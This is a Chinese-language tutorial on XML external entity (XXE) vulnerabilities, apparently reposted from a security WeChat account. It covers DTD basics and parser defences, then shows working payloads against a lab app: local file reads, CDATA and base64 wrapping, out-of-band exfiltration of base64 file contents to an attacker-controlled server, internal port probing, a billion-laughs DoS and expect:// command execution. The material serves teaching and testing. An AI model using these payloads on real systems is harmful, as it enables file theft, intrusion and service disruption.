All-In-One—XXE

admin 2024年5月15日17:51:12评论11 views字数 9002阅读30分0秒阅读模式

XXE漏洞

介绍

XXE漏洞(XML External Entity)是一种安全漏洞,出现在使用XML解析器的应用程序中。当应用程序使用XML解析器解析XML文档时,如果未正确配置解析器,攻击者可以通过在XML文档中插入恶意实体来执行攻击。这些实体可以是外部的,允许攻击者读取本地文件、发起远程HTTP请求等操作。

XXE漏洞可能导致敏感数据泄露、服务器端请求伪造(SSRF)、拒绝服务(DoS)等安全问题。攻击者可以利用XXE漏洞来读取服务器上的任意文件,包括配置文件、密码文件等敏感信息,或者利用外部实体发起攻击者控制的HTTP请求。

原理

1.XML文档解析过程:当应用程序解析XML文档时,它会将XML文档的内容分解为各种元素和属性,并将其转换为应用程序可以处理的数据结构。XML解析器在处理过程中遇到实体引用时,会尝试解析该实体。2.实体引用:XML文档中的实体引用是一种特殊的语法,用于在XML文档中引用外部资源或实体。一般情况下,实体引用被用来引用XML文档中的内部实体,但XXE漏洞的关键在于可以引用外部实体。3.外部实体:外部实体是XML文档中的一个实体,它的内容位于XML文档之外,可以是本地文件系统上的文件,也可以是通过网络可访问的资源。攻击者利用XXE漏洞的关键就是通过引用恶意构造的外部实体来执行攻击。4.利用漏洞:攻击者通过在XML文档中插入恶意的实体引用,可以引用包含敏感信息的本地文件,或者通过HTTP请求引用攻击者控制的远程资源。当应用程序解析XML文档时,如果未正确防范XXE漏洞,解析器会尝试解析这些外部实体,导致攻击者能够读取敏感信息、发起攻击等。

防护

为了预防XXE漏洞,应用程序开发者需要采取一些措施,包括:

1.禁用或限制解析器的外部实体支持,以防止攻击者利用外部实体来执行攻击。2.使用安全的XML解析库,这些库可能已经实现了对XXE漏洞的防护措施。3.对用户输入进行严格的验证和过滤,以防止恶意输入进入XML文档。4.限制应用程序对文件系统和网络资源的访问权限,以减少攻击者利用XXE漏洞造成的风险。

从代码上看,可以利用相关方法禁用外部实体: 

php:

libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

XML

XML(可扩展标记语言)是一种用于存储和传输数据的标记语言。它由一系列标签组成,这些标签用于标识数据的结构和含义。XML 的设计目标是提供一种通用的方法来描述和交换结构化的信息,它被广泛应用于各种领域,包括 Web 开发、数据交换、配置文件等。

XML 文件由标签、元素、属性和文本组成。标签用于定义元素的开始和结束,元素是 XML 数据的基本单元,可以包含其他元素或文本。属性是元素的附加信息,用于提供关于元素的额外描述或设置。文本是元素内的数据内容。

注意:

所有 XML 元素都须有关闭标签。XML 标签对大小写敏感。XML 必须正确地嵌套。XML 文档必须有根元素。XML 的属性值须加引号。

DTD

DTD(document type definition)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

定义方式

DTD 可被成行地声明于 XML 文档中(内部定义),也可作为一个外部引用。

内部定义

<?xml version="1.0"?><!DOCTYPE bookstore [<!ELEMENT bookstore (book+)><!ELEMENT book (title, author, year, price)><!ELEMENT title (#PCDATA)><!ELEMENT author (#PCDATA)><!ELEMENT year (#PCDATA)><!ELEMENT price (#PCDATA)>]><bookstore><book><title>Harry Potter</title><author>J.K. Rowling</author><year>2005</year><price>29.99</price></book><book><title>Lord of the Rings</title><author>J.R.R. Tolkien</author><year>1954</year><price>25.00</price></book></bookstore>

DTD 直接嵌入在 XML 文档中,用 <!DOCTYPE> 声明定义了书店的结构。书店包含多个书(book),每本书有标题、作者、出版年份和价格等属性。

外部引用

有如下bookstore.dtd文件:

<!ELEMENT bookstore (book+)><!ELEMENT book (title, author, year, price)><!ELEMENT title (#PCDATA)><!ELEMENT author (#PCDATA)><!ELEMENT year (#PCDATA)><!ELEMENT price (#PCDATA)>

XML 文档可以通过 DOCTYPE 声明引用这个外部的 DTD 文件:

<?xml version="1.0"?><!DOCTYPE bookstore SYSTEM "bookstore.dtd"><bookstore><book><title>Harry Potter</title><author>J.K. Rowling</author><year>2005</year><price>29.99</price></book><book><title>Lord of the Rings</title><author>J.R.R. Tolkien</author><year>1954</year><price>25.00</price></book></bookstore>

其中,外部引用主要有如下两种形式:

1.Public Identifier(公共标识符):使用公共标识符,例如一个 URL,来标识 DTD 的位置。这种方式允许文档引用一个在网络上公开可用的 DTD。例如:

<!DOCTYPE 根元素名 PUBLIC "公共标识符" "系统标识符">

2.System Identifier(系统标识符):使用一个系统路径或者 URL 来指定 DTD 的位置。这种方式将 DTD 存储在本地文件系统或者网络上的特定位置。例如:

<!DOCTYPE 根元素名 SYSTEM "系统标识符">

定义内容

在dtd中不仅能定义元素,也能定义实体。

定义元素

<?xml version="1.0"?><!DOCTYPE bookstore [<!ELEMENT bookstore (book+)><!ELEMENT book (title, author, year, price)><!ELEMENT title (#PCDATA)><!ELEMENT author (#PCDATA)><!ELEMENT year (#PCDATA)><!ELEMENT price (#PCDATA)>]><bookstore><book><title>Harry Potter</title><author>J.K. Rowling</author><year>2005</year><price>29.99</price></book><book><title>Lord of the Rings</title><author>J.R.R. Tolkien</author><year>1954</year><price>25.00</price></book></bookstore>

DTD 声明了一个名为 bookstore 的元素,它包含了至少一个 book 元素,其中每个 book 元素必须包含 titleauthoryear 和 price 四个子元素。

定义实体

<?xml version="1.0"?><!DOCTYPE test [<!ENTITY authorName "J.K. Rowling"><!ENTITY author SYSTEM "author.txt">]><test><author>&authorName;</author><book><title>Harry Potter</title><author>&author;</author><year>2005</year><price>29.99</price></book></test>

这里DTD 声明了两个实体:authorName 和 author

authorName 实体是一个内部实体,其值为 "J.K. Rowling"。

author 实体是一个外部实体,其内容来自外部文件 author.txt

XML 文档中的 <author> 元素引用了这两个实体,&authorName; 引用了内部实体,而 &author; 引用了外部实体。

实体类型

除了上面提到的不同的定义方式和定义的内容,实体也有如下3种类型。

通用实体

通用实体用于在XML文档中引用任意的文本片段,类似于变量。

通用实体通过<!ENTITY>声明,通过&实体名;来引用通用实体。

<!DOCTYPE 根元素名 [<!ENTITY 实体名 "实体内容">]><根元素名>&实体名;</根元素名>

参数实体

参数实体主要用于在DTD中模块化和重用实体定义。

参数实体通过<!ENTITY %>声明,在DTD中引用参数实体时,同样使用%符号。

<!ENTITY % 参数实体名 "参数实体内容">%参数实体名;

文本实体

文本实体与通用实体类似,用于表示在XML文档中引用的文本片段。

文本实体通过<!ENTITY>声明,通过&实体名;来引用文本实体。

<!DOCTYPE 根元素名 [<!ENTITY 实体名 "实体内容">]><根元素名>&实体名;</根元素名>

协议

不同语言支持的协议也不同:

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
compress.zlib file ftp
compress.bzip2 jar
data netdoc
glob mailto
phar gopher

常用攻击方式

通用实体

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>

参数实体+dtd

dtd:

<!ENTITY b SYSTEM "file:///etc/passwd">

xml:

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://ip/evil.dtd">%d;]><c>&b;</c>

通用实体+dtd

dtd:

<!ENTITY b SYSTEM "file:///etc/passwd">

xml:

<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://ip/evil.dtd"><c>&b;</c>

这里直接在DOCTYPE声明中指定了一个外部DTD文件的URL,而没有定义额外的实体。XML解析器在解析DOCTYPE声明时就会直接加载外部DTD文件。

漏洞利用

借助XXE-LAB进行尝试,代码如下:

<?php/*** autor: c0ny1* date:2018-2-7*/$USERNAME ='admin';//账号$PASSWORD ='admin';//密码$result =null;libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');try{    $dom =newDOMDocument();    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);    $creds = simplexml_import_dom($dom);    $username = $creds->username;    $password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}}catch(Exception $e){    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());}header('Content-Type: text/html; charset=utf-8');echo $result;?>

其中libxml_disable_entity_loader(false);没有禁止外部实体,存在xxe漏洞。

读取数据

有回显

正常请求如下:

All-In-One—XXE

注意content-type为application/xml,并且在response中会把username(admin)进行回显,直接定义一个dtd,并且在username标签内引用:

All-In-One—XXE

payload如下:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY ry4n SYSTEM "file:///c:/windows/win.ini">]><user><username>&ry4n;</username><password>admin</password></user>

但是如果有特殊字符,就会报错:

All-In-One—XXE

可以通过CDATA解决。

特殊字符

CDATA

CDATA(Character Data)可以用于包含不会被解析器处理的文本。可以将读取的文件内容封装在CDATA中,防止特殊字符被XML解析器误解。

先给出payload。

外部dtd如下:

<!ENTITY % file SYSTEM "file:///d:/test.txt"><!ENTITY % eval "<!ENTITY exfil '<![CDATA[%file;]]>'>">%eval;

payload如下:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test SYSTEM "file:///path/to/xxe.dtd"><user><username>&exfil;</username><password>admin</password></user>

All-In-One—XXE

报错:实体'&;'被禁止。

尝试更换payload:

外部dtd:

<?xml version="1.0" encoding="UTF-8"?><!ENTITY all "%start;%goodies;%end;">

payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE roottag [<!ENTITY % start "<![CDATA["><!ENTITY % goodies SYSTEM "file:///d:/test.txt"><!ENTITY % end "]]>">  <!ENTITY % dtd SYSTEM "http://23.94.98.161/xxe.dtd">%dtd;]><user><username>&all;</username><password>admin</password></user>

成功读取:

All-In-One—XXE

第二种就是前面提到的参数实体+dtd的方式。

在第一种方法中,% eval; 在内部子集中定义并引用一个参数实体 %file;,但是很多XML解析器不允许在内部子集中引用参数实体,导致报错 PEReferences forbidden in internal subset

而在第二种方法中,首先定义了几个参数实体 %start;%goodies; 和 %end;。这些实体分别包含了CDATA的起始部分、从文件加载的内容,以及CDATA的结束部分。最后定义了一个外部DTD实体 %dtd,指向了远程的DTD文件 http://ip/xxe.dtd。而外部DTD文件 xxe.dtd 定义了一个 all 实体,它组合了内部子集中的 startgoodies 和 end 三个实体。当 %dtd; 被加载时,外部DTD文件的内容会被引入,使得 <!ENTITY all "%start;%goodies;%end;"> 被解析并生效。

解析顺序如下:

1.解析内部子集<!ENTITY % start "<![CDATA["><!ENTITY % goodies SYSTEM "file:///d:/test.txt"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://23.94.98.161/xxe.dtd">2.加载外部DTD文件解析器加载 http://23.94.98.161/xxe.dtd,该文件定义了 <!ENTITY all "%start;%goodies;%end;">3.解析主XML内容<user><username>&all;</username><password>admin</password></user>&all; 被替换为 %start;%goodies;%end;%start; 被替换为 <![CDATA[%goodies; 被替换为文件 d:/test.txt 的内容。%end; 被替换为 ]]>最终替换为 <![CDATA[ ... ]]>然后解析内部的参数实体,从而正确地包含文件内容。

BASE64

xml内容如下:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY a SYSTEM "php://filter/convert.base64-encode/resource=d:/test.txt">]><user><username>&a;</username><password>admin</password></user>

利用php伪协议即可。

All-In-One—XXE

解码结果为:

All-In-One—XXE

无回显

无回显的情况,可以将数据发送到vps上查看。

dtd如下:

<!ENTITY % test"<!ENTITY % send SYSTEM 'http://192.168.122.111:9999/?%file;'>">%test;

payload如下:

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini"><!ENTITY % dtd SYSTEM "http://192.168.122.111/1.dtd">%dtd;%send;]>

All-In-One—XXE

将结果解码即可:

All-In-One—XXE

dtd中定义了一个参数实体并对其进行引用,因为实体的值中不能有特殊字符,所以对其进行编码(%).在xml中,%dtd去访问外部dtd,dtd中引用%test,而test中定义了send,最终访问了vps,参数值即为file的内容,也就是win.ini的base64编码,通过web日志进行解码即可读取文件。

内网探测

如果访问未开放端口:

All-In-One—XXE

如果端口开放,结果如下:

All-In-One—XXE

能够从response和响应时间判断端口开放情况。

DOS

<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>

命令执行

如果开启了expect扩展,即可直接执行命令:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ENTITY xxe SYSTEM "expect://whoami" >]><root><name>&xxe;</name></root>

原文始发于微信公众号(Crush Sec):All-In-One—XXE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月15日17:51:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   All-In-One—XXEhttps://cn-sec.com/archives/2742967.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息